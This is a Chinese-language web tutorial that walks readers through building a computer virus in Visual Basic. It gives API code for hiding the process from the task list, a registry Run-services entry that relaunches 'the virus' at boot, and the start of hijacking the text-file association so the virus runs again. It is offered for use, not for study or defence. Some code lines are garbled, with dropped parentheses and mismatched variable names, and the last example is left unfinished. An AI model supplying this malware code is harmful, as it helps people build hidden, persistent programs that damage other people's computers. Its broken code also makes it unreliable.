電腦病毒製作方法

　　朋友們想做一些小的電腦病毒嗎，對於接觸計算機的朋友們來說，病毒已經不在是一個陌生的東西。　下面由小編給你對電腦病毒做出詳細的製作方法!希望對你有幫助!

　　方法如下：

　　病毒一般都具有傳播、隱藏、破壞等能力。所以自從第一個病毒問世以來，它便被人們視為一種神祕的東西。但是，我們要知道。病毒也是程式，也是由人寫出來的。所以，病毒並不是什麼高不可攀的東西。現在，讓我們瞭解一下VB製作病毒的原理。

　　首先，病毒是有隱藏性的。如何來實現病毒的隱藏是很多年來的熱點話題。我們先不接觸什麼執行緒插入技術。我們要實行自我隱藏，就要用到API函式。其程式碼如下：

　　Public Declare Function GetCurrentProcessid Lib "kernel32" As Long

　　Public Declare Function RegisterServiceProcess Lib "kernel32" ByVal dwProcessID As Long, ByVal dwType As Long

　　Public Const RSP_SIMPLE_SERVICE = 1

　　Public Const RSP_UNREGISTER_SERVICE = 0

　　Public Sub MakeMeService

　　Dim pid As Long

　　Dim resery As Long

　　pid = GetCurrentProcessid

　　regserv = RegisterServiceProcesspid, RSP_SIMPLE_SERVICE

　　End Sub

　　這樣就實現了自我隱藏。還有別的什麼App.Title = ""和App.TaskVisible = False都可以用於VB病毒的隱藏。

　　病毒光會隱藏還不行，還要有常駐記憶體的能力。說通俗點，計算機關閉病毒也就跟著死去，而計算機重啟，病毒也要跟這復活。所以，我們接下來的任務就是：實現病毒的開機自啟。

　　瞭解病毒的朋友會知道，病毒一般是利用在登錄檔中插入相應鍵值來實現開機自啟的。所以，我們就要利用程式設計來實現著一功能。讀寫登錄檔要用到API函式，程式碼：

　　Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long As Long

　　Private Declare Function RegCloseKey Lib "advapi32.dll" ByVal hKey As Long As Long

　　Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" ByVal hKey As Long, ByVal lpvalueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long As Long

　　上述是API宣告。病毒的開機自啟就是在RUN下建立一個啟動項，程式碼：

　　Dim hKey As Long

　　Dim cc

　　Let cc = Len"病毒的絕對路徑"

　　RegCreateKey HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\Runservices", hKey

　　RegSetValueEx hKey, "鍵名", 0, REG_SZ, ByVal "病毒的絕對路徑", cc

　　RegCloseKey hKey

　　以上程式碼執行後會在登錄檔中加入一個病毒的啟動項。

　　光利用開機自啟來長駐記憶體也太容易被殺了。所以，我們還要想盡一切辦法來讓病毒啟動。這裡介紹的2種辦法。

　　第一種。修改文字檔案的關聯。其程式碼如下：

　　API宣告：

　　Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long As Long

　　Private Declare Function RegSetValue Lib "advapi32.dll" Alias "RegSetValueA" ByVal hKey As Long, ByVal lpSubKey As String, ByVal dwType As Long, ByVal lpData As String, ByVal cbData As Long As Long

　　Const HKEY_CLASSES_ROOT = &H80000000

　　Const REG_SZ = 1

　　實現程式碼：

　　Dim sKeyName As String '儲存鍵名

　　Dim sKeyValue As String '儲存鍵值

　　Dim MyReturn As Long '儲存返回值資訊

　　Dim keyhandle As Long

　　sKeyName = "Test"

　　sKeyValue = "Test Application"

　　MyReturn& = RegCreateKey&HKEY_CLASSES_ROOT, sKeyName, keyhandle&

　　MyReturn& = RegSetValue&keyhandle&, "", REG_SZ, sKeyValue, 0&

　　MsgBox MyReturn&